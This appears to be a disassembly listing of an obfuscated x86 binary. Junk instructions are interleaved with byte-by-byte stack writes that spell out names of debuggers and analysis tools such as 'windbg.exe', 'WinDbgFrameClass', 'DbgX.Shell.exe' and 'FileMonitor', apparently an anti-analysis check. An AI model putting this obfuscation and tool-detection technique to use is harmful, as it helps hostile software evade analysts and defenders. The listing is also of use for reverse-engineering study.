mov esi, 0x20
mov word [esp + 0x824], si
xor si, 0x4d9c
adc si, 0x3509
mov esi, 0x30
mov word [esp + 0x826], si
cmp ebx, ecx
test ebp, edi
mov word [esp + 0x828], si
shr si, 0xaa
mov esi, 0x20
mov word [esp + 0x82a], si
add esi, ebp
bts si, bp
mov esi, 0x36
test ax, bp
mov word [esp + 0x82c], si
bts esi, edi
clc
sub si, 0x4a0f
mov esi, 0x43
mov word [esp + 0x82e], si
mov esi, 0x20
stc
mov word [esp + 0x830], si
sub esi, edx
btc esi, 0xb
mov esi, 0x30
mov word [esp + 0x832], si
mov word [esp + 0x834], si
mov esi, 0x20
mov word [esp + 0x836], si
mov esi, 0x36
mov word [esp + 0x838], si
bsr si, sp
mov esi, 0x39
stc
jmp 0x1896a44
mov word [esp + 0x942], si
bt si, 0xa0
bsf si, si
and si, 0x181e
mov esi, 0x38
stc
mov word [esp + 0x7dc], si
btc esi, ebp
xchg si, si
mov esi, 0x33
mov word [esp + 0x7de], si
shld esi, eax, 0x1c
inc si
mov esi, 0x20
test ecx, 0x2a084def
test esi, esp
mov word [esp + 0x7e0], si
bswap si
shl si, 0xce
mov esi, 0x46
test ebp, esi
mov word [esp + 0x7e2], si
mov esi, 0x38
cmp dl, 0x1f
test ax, si
mov word [esp + 0x7e4], si
shld si, si, 0x5b
mov esi, 0x20
mov word [esp + 0x7e6], si
btc esi, edx
mov esi, 0x33
cmc
jmp 0x179423d
mov byte [esp + 0x4ec], 0x50
xor si, 0x4a99
mov byte [esp + 0x4ed], 0x43
mov byte [esp + 0x4ee], 0x48
mov byte [esp + 0x4ef], 0x75
btc si, 0x51
stc
btr esi, edi
mov byte [esp + 0x4f0], 0x6e
and si, si
mov byte [esp + 0x4f1], 0x74
btc si, 0xb7
bsr si, dx
mov byte [esp + 0x4f2], al
mov byte [esp + 0x4f3], 0x72
cmove esi, ecx
or si, di
sal esi, 0xc5
mov byte [esp + 0x4f4], bl
mov byte [esp + 0x40c], 0x54
mov byte [esp + 0x40d], al
ror si, 0x45
sbb si, 0x7b79
mov byte [esp + 0x40e], dl
mov byte [esp + 0x40f], 0x6c
mov byte [esp + 0x410], 0x61
sal esi, 0xfe
mov byte [esp + 0x411], bl
mov byte [esp + 0x3c0], 0x54
mov byte [esp + 0x3c1], 0x68
mov byte [esp + 0x3c2], 0x75
and esi, 0x54fe1ef9
and esi, edx
bts si, si
mov byte [esp + 0x3c3], 0x6e
mov byte [esp + 0x3c4], 0x64
xor si, 0x31f1
shld si, bx, 0x23
mov byte [esp + 0x3c5], al
mov byte [esp + 0x3c6], 0x72
mov byte [esp + 0x3c7], 0x52
test esi, ebp
mov si, ax
mov byte [esp + 0x3c8], 0x54
rol esi, 0x9d
mov byte [esp + 0x3c9], 0x36
sub esi, edi
adc si, 0x522b
mov byte [esp + 0x3ca], 0x4d
bswap esi
test bp, bp
dec si
mov byte [esp + 0x3cb], 0x61
ror si, 0xfb
mov byte [esp + 0x3cc], 0x69
mov byte [esp + 0x3cd], 0x6e
mov byte [esp + 0x3ce], bl
test cl, 0x78
mov byte [esp + 0x49c], 0x54
btc esi, esi
mov byte [esp + 0x49d], 0x68
sal si, 0x62
mov byte [esp + 0x49e], 0x75
bsr si, di
mov byte [esp + 0x49f], 0x6e
mov byte [esp + 0x4a0], 0x64
btr esi, ecx
mov esi, ebp
mov byte [esp + 0x4a1], al
mov byte [esp + 0x4a2], 0x72
mov byte [esp + 0x4a3], 0x52
mov si, ax
bts si, dx
mov byte [esp + 0x4a4], 0x54
add esi, ebp
test si, di
mov byte [esp + 0x4a5], 0x36
btc esi, 0x19
mov byte [esp + 0x4a6], 0x46
mov byte [esp + 0x4a7], cl
mov byte [esp + 0x4a8], 0x72
bts esi, eax
bt si, 0x30
sub si, cx
mov byte [esp + 0x4a9], 0x6d
btr si, 0x2a
sbb si, di
mov byte [esp + 0x4aa], 0x44
mov byte [esp + 0x4ab], 0x43
test esp, 0x78b36dd3
shl si, 0x37
mov byte [esp + 0x4ac], bl
sbb si, bp
adc si, 0x2f7d
btr si, 0xe
mov byte [esp + 0x45c], 0x56
mov byte [esp + 0x45d], 0x42
movzx esi, ax
sar esi, 0x9f
mov byte [esp + 0x45e], 0x4d
or esi, edi
sal esi, 0x6c
mov byte [esp + 0x45f], dl
bsr si, cx
mov byte [esp + 0x460], cl
mov byte [esp + 0x461], 0x53
bt esi, 0x81
mov byte [esp + 0x462], 0x74
bswap esi
bts si, si
mov byte [esp + 0x463], 0x64
neg esi
mov byte [esp + 0x464], 0x43
xadd si, si
movzx esi, si
bsr esi, edx
mov byte [esp + 0x465], cl
and si, cx
bt si, 0x46
ror esi, 0x5d
mov byte [esp + 0x466], 0x6d
xadd si, si
xor si, 0x6bca
mov byte [esp + 0x467], 0x70
and si, sp
btc si, 0x21
mov byte [esp + 0x468], 0x4d
clc
inc esi
shrd si, sp, 0xc4
mov byte [esp + 0x469], 0x67
xor si, 0x25e7
mov byte [esp + 0x46a], 0x72
mov byte [esp + 0x46b], bl
xor si, 0x72c6
sbb esi, ecx
inc esi
mov byte [esp + 0x358], 0x4c
bsf esi, ecx
mov byte [esp + 0x359], cl
mov esi, 0x7b80702
rcr esi, 0x83
xchg si, si
mov byte [esp + 0x35a], 0x67
shl esi, 0x4f
test esi, 0x3c7f2e73
mov byte [esp + 0x35b], 0x69
adc si, 0x3c53
shr si, 0x6d
not esi
mov byte [esp + 0x35c], 0x6e
sbb si, ax
mov byte [esp + 0x35d], 0x32
mov byte [esp + 0x35e], 0x37
inc si
bt si, bx
mov byte [esp + 0x35f], 0x30
mov byte [esp + 0x360], 0x2e
add esi, 0x5a9969d0
mov byte [esp + 0x361], 0x44
mov byte [esp + 0x362], 0x4c
sbb si, sp
test ebp, edx
mov byte [esp + 0x363], 0x4c
bsr si, ax
or esi, ebp
mov byte [esp + 0x364], bl
mov byte [esp + 0x34c], 0x48
mov si, 0x50a7
add esi, 0x5acb2dfd
mov byte [esp + 0x34d], al
mov byte [esp + 0x34e], 0x6c
mov byte [esp + 0x34f], 0x70
xadd si, si
mov byte [esp + 0x350], al
shl si, 0xc4
movzx esi, cx
test ebx, 0x25f483c
mov byte [esp + 0x351], 0x72
and esi, esi
sbb esi, esi
mov byte [esp + 0x352], 0x2e
inc si
sub si, 0x74ad
mov byte [esp + 0x353], 0x64
btc esi, ebx
mov byte [esp + 0x354], 0x6c
or esi, ebx
btc esi, ebx
mov byte [esp + 0x355], 0x6c
mov byte [esp + 0x356], bl
mov byte [esp + 0x2e4], dl
add si, 0x3ba0
stc
mov byte [esp + 0x2e5], dl
shrd esi, edi, 0x9b
and esi, 0x21f34612
mov byte [esp + 0x2e6], 0x2e
mov byte [esp + 0x2e7], 0x6d
bswap esi
btr esi, 0x8b
mov byte [esp + 0x2e8], 0x70
bsf si, bx
xchg si, si
xadd esi, esi
mov byte [esp + 0x2e9], 0x33
mov byte [esp + 0x2ea], bl
xchg esi, esi
mov byte [esp + 0x314], 0x70
mov si, 0x2af9
mov byte [esp + 0x315], dl
xchg esi, esi
mov si, bp
cmovns si, si
mov byte [esp + 0x316], 0x64
mov byte [esp + 0x317], 0x2e
rol esi, 0x2a
movsx esi, di
mov byte [esp + 0x318], 0x64
inc esi
mov byte [esp + 0x319], 0x6c
and esi, edi
add si, cx
mov byte [esp + 0x31a], 0x6c
mov byte [esp + 0x31b], bl
bt si, cx
dec esi
xor si, di
mov byte [esp + 0x304], 0x4f
btr si, di
mov byte [esp + 0x305], 0x43
mov byte [esp + 0x306], 0x52
mov byte [esp + 0x307], 0x2e
stc
mov byte [esp + 0x308], 0x64
bts esi, ebp
mov byte [esp + 0x309], 0x6c
mov byte [esp + 0x30a], 0x6c
mov byte [esp + 0x30b], bl
or esi, 0x319430fa
mov byte [esp + 0x2dc], dl
mov byte [esp + 0x2dd], dl
mov byte [esp + 0x2de], 0x2e
sub esi, 0x3fca2536
mov byte [esp + 0x2df], 0x64
rcr si, 0xef
btr si, 0x64
mov byte [esp + 0x2e0], 0x6c
mov byte [esp + 0x2e1], 0x6c
mov byte [esp + 0x2e2], bl
cmovl si, si
add si, sp
mov byte [esp + 0x3b0], 0x6d
sal si, 0xc1
xadd si, si
mov byte [esp + 0x3b1], 0x61
stc
adc si, bx
mov byte [esp + 0x3b2], 0x70
ror esi, 0x13
mov byte [esp + 0x3b3], dl
not esi
cmovae si, dx
bts esi, ecx
mov byte [esp + 0x3b4], 0x5c
mov esi, 0x35
cmc
clc
test dx, 0x2f5f
mov word [esp + 0x85c], si
mov esi, 0x30
mov word [esp + 0x85e], si
mov esi, 0x20
cmp ebp, esi
jmp 0x6e7cf7
mov word [esp + 0xaac], si
not si
mov esi, 0x20
clc
cmp bp, 0x2c4b
cmc
mov word [esp + 0xaae], si
test ah, 0xd2
shl si, 0xfb
mov esi, 0x3f
mov word [esp + 0xab0], si
shrd esi, ebx, 0x3e
test edi, edi
mov esi, 0x20
cmc
mov word [esp + 0xab2], si
mov esi, 0x3f
clc
jmp 0x1786318
mov esi, 0x30
mov word [esp + 0xa44], si
mov word [esp + 0xa46], si
mov esi, 0x20
test bx, cx
stc
jmp 0x178a6ca
mov word [esp + 0xa6c], si
mov esi, 0x36
mov word [esp + 0xa6e], si
sal esi, 0x18
rcr esi, 0x1b
mov esi, 0x39
stc
cmc
mov word [esp + 0xa70], si
mov esi, 0x20
stc
cmc
mov word [esp + 0xa72], si
shr esi, 0xeb
mov esi, 0x36
stc
cmp ebp, 0x7e2b64bf
test bh, ch
mov word [esp + 0xa74], si
bts si, si
sar esi, 0xe2
sub si, cx
mov esi, 0x35
cmp edx, esp
mov word [esp + 0xa76], si
mov esi, 0x20
test dx, 0x1b2e
mov word [esp + 0xa78], si
btc esi, esi
stc
mov esi, 0x36
mov word [esp + 0xa7a], si
rcr esi, 0xcb
xadd esi, esi
bt si, sp
mov esi, 0x43
test eax, edi
cmp ebx, 0x6f2750c7
mov word [esp + 0xa7c], si
bsf esi, ebp
bswap si
xadd esi, esi
mov esi, 0x20
mov word [esp + 0xa7e], si
mov esi, 0x36
test si, 0x5294
cmp bx, bx
mov word [esp + 0xa80], si
btr esi, 8
sub si, 0x307f
xor esi, edi
mov esi, 0x34
mov word [esp + 0xa82], si
mov esi, 0x20
cmp eax, ecx
mov word [esp + 0xa84], si
ror esi, 0x62
xadd si, si
mov esi, 0x30
cmc
cmp sp, 0x552c
mov word [esp + 0xa86], si
mov word [esp + 0xa88], si
sub esi, esi
test esi, 0x22e750be
stc
mov word [esp + 0xa8a], si
mov byte [esp + 0x2d4], 0x53
and esi, 0x1dad1872
xor si, bp
mov byte [esp + 0x2d5], al
adc si, 0x1189
rol si, 0xf8
mov byte [esp + 0x2d6], 0x74
btr si, 0x25
mov byte [esp + 0x2d7], 0x74
shr si, 0xe5
test edi, 0x3895107c
mov byte [esp + 0x2d8], 0x69
mov byte [esp + 0x2d9], 0x6e
bts si, di
sub si, 0x28bf
mov byte [esp + 0x2da], 0x67
sbb si, di
sar esi, 0x7f
shr esi, 0xa9
mov byte [esp + 0x2db], bl
movzx esi, sp
and si, 0x70b8
mov byte [esp + 0x374], 0x53
cmc
mov byte [esp + 0x375], 0x6d
test eax, ebx
mov byte [esp + 0x376], 0x61
test esi, ebp
sbb esi, ecx
mov byte [esp + 0x377], 0x6c
bsr si, si
xadd si, si
adc si, 0x18f0
mov byte [esp + 0x378], 0x6c
mov byte [esp + 0x379], 0x50
or esi, 0x1d1b5f91
test edi, edi
mov byte [esp + 0x37a], al
movsx esi, bx
sar esi, 0xd6
bt si, 0x93
mov byte [esp + 0x37b], 0x74
mov byte [esp + 0x37c], dl
mov byte [esp + 0x37d], bl
sar si, 0x58
mov byte [esp + 0x334], 0x5a
xadd esi, esi
mov si, bx
mov byte [esp + 0x335], al
mov byte [esp + 0x336], 0x72
mov byte [esp + 0x337], cl
shr esi, 0x27
add si, 0x2f2
mov byte [esp + 0x338], 0x43
sar esi, 0xed
inc esi
mov byte [esp + 0x339], 0x44
test sp, cx
bts esi, ecx
mov byte [esp + 0x33a], bl
test edi, 0x5c7971a5
bts si, bp
mov byte [esp + 0x2fc], 0x4e
mov byte [esp + 0x2fd], cl
bswap esi
mov byte [esp + 0x2fe], 0x55
mov byte [esp + 0x2ff], 0x49
cmc
xor esi, esp
or si, cx
mov byte [esp + 0x300], bl
clc
mov byte [esp + 0x368], 0x4e
mov byte [esp + 0x369], cl
mov byte [esp + 0x36a], 0x57
mov byte [esp + 0x36b], 0x69
bts esi, ecx
rol si, 0xbc
mov byte [esp + 0x36c], 0x6e
xor esi, esp
mov byte [esp + 0x36d], 0x64
add esi, edi
cmp ebx, ebx
mov byte [esp + 0x36e], cl
sub esi, 0x20742e82
xor si, 0x41a9
and si, 0x533a
mov byte [esp + 0x36f], 0x77
neg esi
mov byte [esp + 0x370], bl
mov byte [esp + 0x380], 0x4e
test ebx, 0x6dff675d
movsx esi, ax
mov byte [esp + 0x381], cl
test di, 0x7823
bswap si
stc
mov byte [esp + 0x382], 0x4d
mov si, 0x2014
or esi, ebx
sub si, di
mov byte [esp + 0x383], al
cmp eax, esi
sbb si, 0x3d38
mov byte [esp + 0x384], dl
mov byte [esp + 0x385], dl
mov byte [esp + 0x386], 0x61
mov byte [esp + 0x387], 0x67
mov byte [esp + 0x388], al
add esi, ebx
sub esi, ecx
sar si, 0x7c
mov byte [esp + 0x389], bl
mov byte [esp + 0x3f8], 0x48
mov byte [esp + 0x3f9], cl
mov byte [esp + 0x3fa], 0x74
mov byte [esp + 0x3fb], 0x4b
mov byte [esp + 0x3fc], al
mov byte [esp + 0x3fd], 0x79
bsf esi, esi
mov byte [esp + 0x3fe], 0x44
bts esi, edx
sbb si, 0x7128
btc si, sp
mov byte [esp + 0x3ff], 0x72
sbb esi, 0x24d10c3d
mov byte [esp + 0x400], 0x69
mov byte [esp + 0x401], 0x6e
xadd si, si
test bl, 0xc5
mov byte [esp + 0x402], 0x6b
btr si, bp
dec si
sub esi, 0x7d78761a
mov byte [esp + 0x403], bl
btc esi, ecx
mov byte [esp + 0x40], dl
mov byte [esp + 0x41], al
mov byte [esp + 0x42], 0x70
rcr esi, 0x7e
mov byte [esp + 0x43], bl
mov byte [esp + 0x2ec], 0x50
neg esi
xor esi, 0x10cc7f3f
bt esi, edx
mov byte [esp + 0x2ed], 0x30
adc esi, 0x545e1aa1
bts si, bp
neg si
mov byte [esp + 0x2ee], 0x30
mov byte [esp + 0x2ef], 0x30
add esi, esp
not esi
mov byte [esp + 0x2f0], bl
mov byte [esp + 0x328], dl
mov byte [esp + 0x329], 0x70
add si, 0x340f
ror esi, 0xf
mov byte [esp + 0x32a], 0x79
cmp ecx, 0x1cd95e5c
or esi, 0x63870d2f
mov byte [esp + 0x32b], 0x78
jmp 0x5ce571
mov byte [esp + 0x31c], 0x44
mov byte [esp + 0x31d], al
clc
jmp 0x58c5ed
mov word [esp + 0x8dc], si
shrd esi, edi, 0xc3
mov esi, 0x30
mov word [esp + 0x8de], si
mov word [esp + 0x8e0], si
shrd si, sp, 0x41
test dx, si
mov esi, 0x20
mov word [esp + 0x8e2], si
sub esi, 0x7bf204fa
bt esi, ebp
bts esi, ecx
mov esi, 0x36
mov word [esp + 0x8e4], si
btr si, 0xb4
or esi, 0x78ce5ad4
mov esi, 0x37
stc
cmc
mov word [esp + 0x8e6], si
mov esi, ebp
sbb si, cx
mov esi, 0x20
mov word [esp + 0x8e8], si
cmc
mov esi, 0x30
cmp edi, eax
mov word [esp + 0x8ea], si
test si, ax
stc
mov word [esp + 0x8ec], si
or si, bp
add si, 0x315b
stc
mov esi, 0x20
jmp 0x18d8930
mov word [esp + 0xa52], si
shrd si, di, 0xfd
mov esi, 0x20
mov word [esp + 0xa54], si
test edi, 0x4a54082e
movzx esi, bx
xor si, dx
mov esi, 0x36
clc
cmp ax, si
mov word [esp + 0xa56], si
mov esi, 0x43
mov word [esp + 0xa58], si
test dh, dl
mov esi, 0x20
mov word [esp + 0xa5a], si
neg si
cmovp si, dx
mov esi, 0x36
jmp 0x18cb688
mov byte [esp + 0x324], bl
clc
stc
mov byte [esp + 0x3a0], cl
stc
clc
mov byte [esp + 0x3a1], 0x6c
cmc
test eax, 0x2f4f19e0
mov byte [esp + 0x3a2], 0x64
test bp, 0x6a20
cmc
mov byte [esp + 0x3a3], 0x6c
mov byte [esp + 0x3a4], 0x69
cmp cl, 0x87
clc
mov byte [esp + 0x3a5], 0x6e
cmp sp, 0x78ee
clc
stc
mov byte [esp + 0x3a6], al
mov byte [esp + 0x3a7], 0x61
clc
cmc
mov byte [esp + 0x3a8], 0x67
mov byte [esp + 0x3a9], al
cmc
stc
mov byte [esp + 0x3aa], 0x2e
mov byte [esp + 0x3ab], al
jmp 0x57162e
mov byte [esp + 0x6cd], 0x63
test esi, esi
mov byte [esp + 0x6ce], 0x20
or si, 0x360e
cmp ecx, ebp
mov byte [esp + 0x6cf], 0x5b
movzx esi, si
mov byte [esp + 0x6d0], bl
mov byte [esp + 0x68c], 0x77
bt esi, 0xcf
btc esi, edx
sal si, 0x57
mov byte [esp + 0x68d], 0x6e
test esi, ebx
mov byte [esp + 0x68e], 0x64
shrd si, ax, 0x8b
mov byte [esp + 0x68f], 0x63
sbb esi, ebp
mov byte [esp + 0x690], 0x6c
btc esi, esi
cmp cx, sp
mov byte [esp + 0x691], 0x61
and si, 0x5bc2
mov si, 0x1632
mov byte [esp + 0x692], dl
mov byte [esp + 0x693], dl
xor si, 0x3b32
and si, 0x55d
bts si, bx
mov byte [esp + 0x694], 0x5f
jmp 0x5b66dc
mov byte [esp + 0x3b9], 0x34
cmc
mov byte [esp + 0x3ba], 0x2e
clc
mov byte [esp + 0x3bb], 0x74
cmp al, 2
clc
mov byte [esp + 0x3bc], 0x78
test esi, eax
mov byte [esp + 0x3bd], 0x74
clc
test ebx, ecx
mov byte [esp + 0x3be], bl
jmp 0x18197a0
mov byte [esp + 0x5fd], 0x20
test al, 0x19
mov byte [esp + 0x5fe], 0x66
bswap si
mov byte [esp + 0x5ff], 0x72
shr esi, 0xf
dec si
mov byte [esp + 0x600], cl
mov byte [esp + 0x601], 0x6d
cmovo esi, ebp
xor esi, esi
rol esi, 0x71
mov byte [esp + 0x602], bl
mov byte [esp + 0x474], 0x46
bt esi, ecx
adc si, bx
and esi, 0x4d6a7991
mov byte [esp + 0x475], 0x69
cmp ch, ch
bswap si
rcr esi, 2
mov byte [esp + 0x476], 0x64
dec esi
mov byte [esp + 0x477], 0x64
xchg esi, esi
cmp cl, cl
mov byte [esp + 0x478], 0x6c
test bp, sp
xadd si, si
mov byte [esp + 0x479], al
btc esi, esi
bt esi, edx
mov byte [esp + 0x47a], 0x72
mov byte [esp + 0x47b], bl
mov byte [esp + 0x614], 0x4d
mov byte [esp + 0x615], al
mov byte [esp + 0x616], dl
mov byte [esp + 0x617], dl
test edi, 0x4d112709
mov byte [esp + 0x618], 0x61
add esi, esp
neg esi
mov byte [esp + 0x619], 0x67
inc si
btc si, bx
mov byte [esp + 0x61a], al
mov byte [esp + 0x61b], 0x20
bsf si, bx
or si, bx
mov byte [esp + 0x61c], 0x41
shr esi, 0x3b
movsx esi, sp
mov byte [esp + 0x61d], 0x6e
mov byte [esp + 0x61e], 0x61
sub si, 0x70c8
mov byte [esp + 0x61f], 0x6c
mov byte [esp + 0x620], 0x79
test esp, esp
mov byte [esp + 0x621], 0x7a
ror esi, 0x72
cmovne esi, esi
not si
mov byte [esp + 0x622], al
mov byte [esp + 0x623], 0x72
mov byte [esp + 0x624], bl
sub esi, 0x4f944e57
mov byte [esp + 0x594], 0x53
shrd si, bx, 0xc5
btr si, 0xfd
btr si, di
mov byte [esp + 0x595], 0x79
shr si, 0xfb
and esi, 0x7f6766de
mov byte [esp + 0x596], dl
mov byte [esp + 0x597], 0x69
mov byte [esp + 0x598], 0x6e
stc
cmp di, ax
mov byte [esp + 0x599], 0x74
mov byte [esp + 0x59a], al
mov byte [esp + 0x59b], 0x72
add si, 0x437a
mov byte [esp + 0x59c], 0x6e
cmp al, 0xb5
xor si, ax
cmovo esi, edi
mov byte [esp + 0x59d], 0x61
mov byte [esp + 0x59e], 0x6c
adc si, bx
sub esi, esi
cmp esi, esp
mov byte [esp + 0x59f], dl
dec si
mov byte [esp + 0x5a0], bl
rol esi, 0x62
mov byte [esp + 0x570], 0x4e
mov byte [esp + 0x571], al
mov esi, eax
mov byte [esp + 0x572], 0x74
movzx esi, bp
test esp, 0x67bf4793
mov byte [esp + 0x573], 0x42
mov byte [esp + 0x574], 0x61
movzx esi, dx
bswap si
mov byte [esp + 0x575], 0x6c
sub si, bx
btc esi, 0xa7
mov byte [esp + 0x576], 0x61
sar esi, 0x87
ror esi, 0xc2
mov byte [esp + 0x577], 0x6e
mov byte [esp + 0x578], 0x63
mov byte [esp + 0x579], al
mov byte [esp + 0x57a], 0x72
mov byte [esp + 0x57b], bl
mov byte [esp + 0x3ec], 0x46
rol esi, 0x14
mov byte [esp + 0x3ed], 0x69
btr si, 0xbf
cmp cl, ah
or esi, 0x45357615
mov byte [esp + 0x3ee], 0x6c
adc esi, ebp
bsf esi, eax
mov byte [esp + 0x3ef], al
add esi, 0x67537ef5
mov byte [esp + 0x3f0], 0x4d
and si, sp
mov byte [esp + 0x3f1], cl
shld esi, edx, 0x80
mov byte [esp + 0x3f2], 0x6e
mov byte [esp + 0x3f3], 0x69
mov byte [esp + 0x3f4], 0x74
mov byte [esp + 0x3f5], cl
mov byte [esp + 0x3f6], 0x72
mov byte [esp + 0x3f7], bl
mov byte [esp + 0x678], 0x4d
mov esi, 0x477f0941
mov byte [esp + 0x679], 0x61
mov byte [esp + 0x67a], 0x68
mov byte [esp + 0x67b], cl
mov byte [esp + 0x67c], 0x62
movzx esi, sp
rcl esi, 0x35
mov byte [esp + 0x67d], 0x69
xor esi, 0xe7a4ae1
mov byte [esp + 0x67e], 0x57
bt si, sp
cmp edi, 0x2699270f
mov byte [esp + 0x67f], 0x69
mov byte [esp + 0x680], 0x6e
dec esi
shrd si, di, 0x3b
rol si, 0x62
mov byte [esp + 0x681], 0x64
stc
mov byte [esp + 0x682], cl
shl si, 0xa2
bsr si, bx
mov byte [esp + 0x683], 0x77
mov byte [esp + 0x684], 0x43
shrd esi, esp, 9
bsr si, si
shl esi, 0x65
mov byte [esp + 0x685], 0x6c
cmp ax, bp
mov byte [esp + 0x686], 0x61
test cl, 0x2e
movsx esi, ax
bts esi, esi
mov byte [esp + 0x687], dl
sbb si, sp
btc si, 0xfd
sal esi, 0xc8
mov byte [esp + 0x688], dl
rol si, 0xfa
cmp si, 0x1dc0
mov byte [esp + 0x689], bl
mov esi, 0x31e86371
mov byte [esp + 0x424], 0x57
mov byte [esp + 0x425], 0x69
mov byte [esp + 0x426], 0x6e
cmovb si, cx
mov byte [esp + 0x427], 0x44
mov byte [esp + 0x428], 0x62
or si, ax
mov byte [esp + 0x429], 0x67
add esi, 0x721017f3
xadd si, si
mov byte [esp + 0x42a], bl
mov byte [esp + 0x528], 0x47
bsr esi, ebp
mov byte [esp + 0x529], 0x68
mov byte [esp + 0x52a], cl
mov byte [esp + 0x52b], dl
sar esi, 0xa6
mov byte [esp + 0x52c], 0x74
rol si, 0x8b
mov byte [esp + 0x52d], 0x43
mov byte [esp + 0x52e], 0x6c
mov byte [esp + 0x52f], 0x61
and si, dx
adc esi, 0x5d474552
mov byte [esp + 0x530], dl
mov byte [esp + 0x531], dl
shrd si, di, 0x2e
cmova si, di
btc esi, esp
mov byte [esp + 0x532], bl
and si, 0x2047
mov byte [esp + 0x664], 0x57
sar esi, 0x84
test edx, ebp
mov byte [esp + 0x665], 0x69
shrd esi, ecx, 0x7d
mov byte [esp + 0x666], 0x6e
sub esi, 0x6df763f8
bsf si, bp
mov byte [esp + 0x667], 0x44
shl si, 0xa7
add esi, 0x5261349a
mov byte [esp + 0x668], 0x62
sub esi, 0x12b679bb
btc esi, esi
mov byte [esp + 0x669], 0x67
mov byte [esp + 0x66a], 0x46
add si, 0xf1c
btr esi, 0xbb
dec esi
mov byte [esp + 0x66b], 0x72
mov esi, ebx
mov byte [esp + 0x66c], 0x61
sal esi, 0x30
not esi
mov byte [esp + 0x66d], 0x6d
mov byte [esp + 0x66e], al
btc si, ax
mov byte [esp + 0x66f], 0x43
mov byte [esp + 0x670], 0x6c
btc si, bx
sub esi, 0x6c9b3c8a
mov byte [esp + 0x671], 0x61
shrd esi, ebp, 0xe3
cmovbe esi, ebx
mov byte [esp + 0x672], dl
mov byte [esp + 0x673], dl
dec esi
mov byte [esp + 0x674], bl
mov byte [esp + 0x650], 0x43
mov byte [esp + 0x651], 0x69
mov byte [esp + 0x652], 0x63
add esi, 0x366239df
mov byte [esp + 0x653], al
mov esi, 0x17db6e90
mov byte [esp + 0x654], 0x72
mov byte [esp + 0x655], cl
mov byte [esp + 0x656], 0x55
shld si, dx, 0x80
mov byte [esp + 0x657], 0x49
add esi, ebp
mov byte [esp + 0x658], 0x57
add si, bx
sal esi, 0x5e
bt esi, 0xf1
mov byte [esp + 0x659], 0x6e
and si, 0x7e
mov byte [esp + 0x65a], 0x64
mov si, bp
bt si, di
stc
mov byte [esp + 0x65b], 0x46
test dl, cl
sar esi, 0xe9
ror si, 0x88
mov byte [esp + 0x65c], 0x72
neg esi
test ax, 0x3767
mov byte [esp + 0x65d], 0x61
add esi, 0x75291741
rcr si, 0x8e
sbb si, 0xe58
mov byte [esp + 0x65e], 0x6d
stc
dec si
mov byte [esp + 0x65f], al
add si, ax
neg si
mov byte [esp + 0x660], bl
btc si, bp
mov byte [esp + 0x3d0], 0x64
bsr esi, edx
movzx esi, ax
sbb si, 0x6134
mov byte [esp + 0x3d1], al
bt si, 0x18
mov byte [esp + 0x3d2], 0x76
sub si, dx
mov si, ax
mov byte [esp + 0x3d3], al
shrd esi, ebx, 0x11
shld esi, edx, 0xa7
mov byte [esp + 0x3d4], 0x6e
bsf esi, ecx
movsx esi, si
shr si, 0x41
mov byte [esp + 0x3d5], 0x76
cmp esi, 0x1e0e190e
mov byte [esp + 0x3d6], 0x2e
adc esi, 0x68157561
test si, 0x4b97
mov byte [esp + 0x3d7], al
xor esi, edx
cmovl esi, edx
mov byte [esp + 0x3d8], 0x78
mov byte [esp + 0x3d9], al
mov byte [esp + 0x3da], bl
btr esi, esp
mov byte [esp + 0x54c], 0x77
bt si, bx
mov byte [esp + 0x54d], 0x69
mov byte [esp + 0x54e], 0x6e
sbb esi, esi
xadd si, si
mov byte [esp + 0x54f], 0x64
movzx esi, di
or si, 0x5e55
mov byte [esp + 0x550], 0x62
rcl esi, 0x30
bt esi, ebx
bts esi, edx
mov byte [esp + 0x551], 0x67
sbb esi, 0x64c2810
bt si, 2
mov si, 0x7cb9
mov byte [esp + 0x552], 0x2e
mov byte [esp + 0x553], al
mov byte [esp + 0x554], 0x78
mov byte [esp + 0x555], al
movsx esi, si
mov byte [esp + 0x556], bl
test sp, 0x21ea
mov byte [esp + 0x5d4], 0x44
mov byte [esp + 0x5d5], 0x62
mov byte [esp + 0x5d6], 0x67
mov byte [esp + 0x5d7], 0x58
btc si, cx
mov byte [esp + 0x5d8], 0x2e
and esi, edx
rol si, 0x6b
mov byte [esp + 0x5d9], 0x53
mov byte [esp + 0x5da], 0x68
bts si, dx
xor esi, esi
mov byte [esp + 0x5db], al
mov byte [esp + 0x5dc], 0x6c
bt si, 0xed
mov byte [esp + 0x5dd], 0x6c
mov byte [esp + 0x5de], 0x2e
mov byte [esp + 0x5df], al
mov byte [esp + 0x5e0], 0x78
sbb si, sp
ror esi, 0x48
mov byte [esp + 0x5e1], al
inc si
btr esi, eax
bt esi, 0xea
mov byte [esp + 0x5e2], bl
xor si, 0x147c
ror si, 0x57
mov byte [esp + 0x6b8], 0x4d
xor esi, ebp
mov byte [esp + 0x6b9], 0x69
mov byte [esp + 0x6ba], 0x63
bt si, 0xa0
sbb esi, 0xa6b659b
mov byte [esp + 0x6bb], 0x72
not esi
mov byte [esp + 0x6bc], cl
mov esi, 0x73805e4b
mov byte [esp + 0x6bd], dl
and si, 0x606
neg si
mov byte [esp + 0x6be], cl
movsx esi, si
xadd esi, esi
mov byte [esp + 0x6bf], 0x66
mov byte [esp + 0x6c0], 0x74
mov byte [esp + 0x6c1], 0x20
bt si, bp
sar esi, 0x61
mov byte [esp + 0x6c2], 0x56
or esi, edi
bswap esi
shld esi, eax, 0x54
mov byte [esp + 0x6c3], 0x69
xadd si, si
neg si
mov byte [esp + 0x6c4], dl
adc esi, 0x33c44659
dec esi
rcr esi, 0x2a
mov byte [esp + 0x6c5], 0x75
or si, cx
btr esi, 0x2a
cmp al, 8
mov byte [esp + 0x6c6], 0x61
ror si, 0x46
dec si
mov byte [esp + 0x6c7], 0x6c
sbb si, si
mov byte [esp + 0x6c8], 0x20
rcl esi, 0xa3
mov byte [esp + 0x6c9], 0x42
btr si, sp
mov si, sp
mov byte [esp + 0x6ca], 0x61
mov byte [esp + 0x6cb], dl
xor esi, 0x565f4d1a
sub si, dx
mov byte [esp + 0x6cc], 0x69
and si, 0x1650
jmp 0x1853afb
mov word [esp + 0xaa0], si
sal si, 0x10
mov esi, 0x20
test ebp, 0x41dc57e5
mov word [esp + 0xaa2], si
clc
mov byte [esp + 0x536], 0x70
adc si, si
mov byte [esp + 0x537], 0x53
cmp bp, 0x327e
shl esi, 0x7b
mov byte [esp + 0x538], 0x70
inc esi
btr esi, ebx
mov byte [esp + 0x539], 0x79
mov byte [esp + 0x53a], 0x2e
xor si, 0x4ee3
sub si, 0x5f94
clc
mov byte [esp + 0x53b], 0x64
btr esi, 0x89
inc esi
mov byte [esp + 0x53c], 0x6c
xor esi, esp
add si, 0x14d0
